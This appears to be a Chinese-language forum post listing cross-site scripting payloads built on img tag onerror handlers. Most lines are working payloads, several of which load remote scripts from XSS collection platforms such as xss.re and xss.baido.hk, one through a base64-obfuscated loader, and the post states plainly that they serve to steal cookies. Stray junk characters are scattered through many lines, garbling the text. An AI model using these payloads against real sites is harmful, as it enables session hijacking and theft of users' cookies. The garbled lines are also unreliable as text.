img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
<img src=# onerror=alert(123)>
( m  k: `) m9 p, `& N<img src=# onerror=alert(document.cookie)>
' m4 s9 \) v& ?. C) u8 ^下面是利用平台钓cookie的
1 D1 Q# z+ B# A9 S <img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>

. t: y" w' J7 o* Y/ A
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
2 K$ f. M3 s( p. ^$ z/ ?8 ~  g<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
<img src=1 onerror=jQuery.getScript("//xss.re/974")>
( f( r, y  i+ \<img src="#">
8 H" W  P! ^0 ~; F/ q1 ~6 A<img src="#">
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
: S: x; P4 n: P' w* n0 ^<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
* ^6 f, H% Y9 U3 Y<img src=x width="0" height="0"></img>
: {, E( l0 a* L<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
) X* w' d6 ?4 R3 L<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>